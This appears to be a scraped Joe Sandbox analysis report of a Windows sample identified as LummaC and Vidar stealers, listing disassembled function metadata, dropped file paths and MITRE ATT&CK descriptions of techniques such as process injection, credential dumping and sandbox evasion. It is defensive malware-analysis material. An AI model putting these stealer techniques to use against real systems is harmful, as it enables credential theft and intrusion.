Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: std::exception::exception$Exception@8ThrowXinvalid_argumentmemmovestd::_
String ID: invalid string position
API String ID: 1659287814-1799206989
Opcode ID: a848fdcfe604272a287739ae8645811b571806346a8769f4f44a2cabaef798b7
Instruction ID: 3887684d3f3a11409fee2576fb98b4d31b326a96551fc85137108b6ee7b5612c
Opcode Fuzzy Hash: a848fdcfe604272a287739ae8645811b571806346a8769f4f44a2cabaef798b7
Instruction Fuzzy Hash: 2C01A2713007418BD7348E7989C491FB2A2E785B20730493ED982D7B85DB7CE84E8398

Function 0042819D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45stringCOMMONLIBRARYCODE

Download Yara Rule

APIs

strcpy_s.MSVCRT ref: 004281AE
__invoke_watson.LIBCMT ref: 00428202

Part of subcall function 0042803D: _strcat_s.LIBCMT ref: 0042805C

Strings

,NC, xrefs: 004281ED

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: __invoke_watson_strcat_sstrcpy_s
String ID: ,NC
API String ID: 1132195725-1329140791
Opcode ID: 731b6ac6b642e3e8e5147aea8b100b6241764734f43c48f2503a638a59afb5d8
Instruction ID: f771fb7e58f133a83ad7a91f426c7ce09fda6f0a996d4a40dae0fcadaf62f804
Opcode Fuzzy Hash: 731b6ac6b642e3e8e5147aea8b100b6241764734f43c48f2503a638a59afb5d8
Instruction Fuzzy Hash: DBF046726013287BCB116F90DC02EEB3F5DAF00390F84806BFD084A052DB36AD24C798

Function 6C224CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3('8"l,00000000,00000000,?,?,6C223827,?,00000000), ref: 6C224D0A

Part of subcall function 6C210840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C2108B4

SECITEM_ItemsAreEqual_Util.NSS3(00000000,00000000,00000000), ref: 6C224D22

Part of subcall function 6C20FD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C1B1A3E,00000048,00000054), ref: 6C20FD56

Strings

'8"l, xrefs: 6C224D07

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: Util$Equal_ErrorFindItemsTag_memcmp
String ID: '8"l
API String ID: 1521942269-3580860384
Opcode ID: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction ID: a671a1702d616b2ea051faa17677554ed5d91da32192db1416a96c0def286448
Opcode Fuzzy Hash: 14028aa1c084b1134f31e0fe545c68cf4cce508ec734b29011f619df16d7203e
Instruction Fuzzy Hash: B2F0903A60122A67EB104D6AAC80B4336DC9B416BEF550271FD28CB781E675CC01C6E1

Function 6C24AF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

PR_GetUniqueIdentity.NSS3(SSL), ref: 6C24AF78

Part of subcall function 6C1AACC0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C1AACE2
Part of subcall function 6C1AACC0: malloc.MOZGLUE(00000001), ref: 6C1AACEC
Part of subcall function 6C1AACC0: strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C1AAD02
Part of subcall function 6C1AACC0: TlsGetValue.KERNEL32 ref: 6C1AAD3C
Part of subcall function 6C1AACC0: calloc.MOZGLUE(00000001,?), ref: 6C1AAD8C
Part of subcall function 6C1AACC0: PR_Unlock.NSS3 ref: 6C1AADC0
Part of subcall function 6C1AACC0: PR_Unlock.NSS3 ref: 6C1AAE8C
Part of subcall function 6C1AACC0: free.MOZGLUE(?), ref: 6C1AAEAB

memcpy.VCRUNTIME140(6C313084,6C3102AC,00000090), ref: 6C24AF94

Strings

SSL, xrefs: 6C24AF73

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: Unlock$IdentityUniqueValuecallocfreemallocmemcpystrcpystrlen
String ID: SSL
API String ID: 2424436289-2135378647
Opcode ID: c999c876bed03514ef2ba07fccd7ab4fbe793d3808f796891528fbb5dba5b3c8
Instruction ID: 46c225d87727efbf413daea96ffbbab77456c2b98f976d1c7e2f06207d3f252c
Opcode Fuzzy Hash: c999c876bed03514ef2ba07fccd7ab4fbe793d3808f796891528fbb5dba5b3c8
Instruction Fuzzy Hash: EA214DB6B05E4C9FCA88DF65E913796BAF8B302A48F119158C90A1BF28D77141089F91

Function 0041F389 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

DName::DName.LIBCMT ref: 0041F3BE
DName::DName.LIBCMT ref: 0041F3CA

Strings

{flat}, xrefs: 0041F3B9

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: NameName::
String ID: {flat}
API String ID: 1333004437-2606204563
Opcode ID: c0aecf38d8767bf2edb4203e1a237864f4bfc1262168b0dc7fac00c370597be1
Instruction ID: 2c0415815a0a7c74926322da22f24c5bee031a5815a73f477053bbe1f8b1cde0
Opcode Fuzzy Hash: c0aecf38d8767bf2edb4203e1a237864f4bfc1262168b0dc7fac00c370597be1
Instruction Fuzzy Hash: 0CF08531240208AFCB10EF59D415BE83BA0AB85756F08808AE95D0F396D634E882CB99

Function 0040141E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00401436
GlobalMemoryStatusEx.KERNEL32(?), ref: 00401449

Strings

@, xrefs: 00401442

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: GlobalMemoryStatus_memset
String ID: @
API String ID: 587104284-2766056989
Opcode ID: a86c8d25389ee0d43c024977cfcbb5dbd13fb3cddd9227d59882f314cfa9f3e1
Instruction ID: 353ba50a468fe22d2a9c3629fefe65c16587761d0a3a195498787956e3287aa6
Opcode Fuzzy Hash: a86c8d25389ee0d43c024977cfcbb5dbd13fb3cddd9227d59882f314cfa9f3e1
Instruction Fuzzy Hash: C4E0B8F0A002089BDB14DFA5E956F5DB7F89B04744F5000299A05E7181D674BB098659

Function 6C1A0F00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

PR_GetPageSize.NSS3(6C1A0936,FFFFE8AE,?,6C1316B7,00000000,?,6C1A0936,00000000,?,6C13204A), ref: 6C1A0F1B

Part of subcall function 6C1A1370: GetSystemInfo.KERNEL32(?,?,?,?,6C1A0936,?,6C1A0F20,6C1A0936,FFFFE8AE,?,6C1316B7,00000000,?,6C1A0936,00000000), ref: 6C1A138F

PR_NewLogModule.NSS3(clock,6C1A0936,FFFFE8AE,?,6C1316B7,00000000,?,6C1A0936,00000000,?,6C13204A), ref: 6C1A0F25

Part of subcall function 6C1A1110: calloc.MOZGLUE(00000001,0000000C,?,?,?,?,?,?,?,?,?,?,6C1A0936,00000001,00000040), ref: 6C1A1130
Part of subcall function 6C1A1110: strdup.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,6C1A0936,00000001,00000040), ref: 6C1A1142
Part of subcall function 6C1A1110: PR_GetEnvSecure.NSS3(NSPR_LOG_MODULES,?,?,?,?,?,?,?,?,?,?,?,?,?,6C1A0936,00000001), ref: 6C1A1167

Strings

clock, xrefs: 6C1A0F20

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: InfoModulePageSecureSizeSystemcallocstrdup
String ID: clock
API String ID: 536403800-3195780754
Opcode ID: 276a275e15462842c7bdfdf2e6b852f215c2d46e99ec9281d992d67aa96fe593
Instruction ID: de675a32e2fff7022cfad496cf4ca7cd0e9c2bb95808b848c446d4d42da23f8e
Opcode Fuzzy Hash: 276a275e15462842c7bdfdf2e6b852f215c2d46e99ec9281d992d67aa96fe593
Instruction Fuzzy Hash: D9D012396042889DC511A6E79D46BEAB6ACCBC3679F604926E10C41D10CA6590DFD265

Function 6C210DB0 Relevance: 5.1, APIs: 4, Instructions: 97COMMON

Download Yara Rule

APIs

calloc.MOZGLUE ref: 6C210DF5
TlsGetValue.KERNEL32 ref: 6C210E2D
TlsGetValue.KERNEL32 ref: 6C210E58
TlsGetValue.KERNEL32 ref: 6C210E84

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: Value$calloc
String ID:
API String ID: 3339632435-0
Opcode ID: 64fa7ccdfa1e7eaf8ebe51aa52a440148e5560d482a715eba145a49e712c8084
Instruction ID: 8815f8f709fc86c09bea79e6c4351ff0fca6c94cc7df9b6d2f23e442629dc0a0
Opcode Fuzzy Hash: 64fa7ccdfa1e7eaf8ebe51aa52a440148e5560d482a715eba145a49e712c8084
Instruction Fuzzy Hash: 7E31D271A58389CFDB00AF7EC5456A97BF8BF06309F01462DED8987E11DB3184A5CB82

Function 6C210F10 Relevance: 5.1, APIs: 4, Instructions: 52stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C1B2AF5,?,?,?,?,?,6C1B0A1B,00000000), ref: 6C210F1A
malloc.MOZGLUE(00000001), ref: 6C210F30
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C210F42
TlsGetValue.KERNEL32 ref: 6C210F5B

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: Valuemallocmemcpystrlen
String ID:
API String ID: 2332725481-0
Opcode ID: d1a30ab5cf85ed090343f86bfa9967a0b1da681ce8f68a637851c10ad5ed38ca
Instruction ID: 2f9c6a6d84dcc2474d73de8046c49128617015b7c7d64e9e5848b67328fee8da
Opcode Fuzzy Hash: d1a30ab5cf85ed090343f86bfa9967a0b1da681ce8f68a637851c10ad5ed38ca
Instruction Fuzzy Hash: 8301DD71F142885FE710277D9D06A5676ECEF52259F010235ED09C2E11DF31D565C6E2

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AFIDGDBGCA.exe

C:\ProgramData\BFIIEHJDBK.exe

C:\ProgramData\IIIEBGCBGIDH\AFIDGD

C:\ProgramData\IIIEBGCBGIDH\BFIIEH

C:\ProgramData\IIIEBGCBGIDH\CBKJKJ

C:\ProgramData\IIIEBGCBGIDH\ECGIII

C:\ProgramData\IIIEBGCBGIDH\EHJDHJ

C:\ProgramData\IIIEBGCBGIDH\EHJDHJ-shm

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
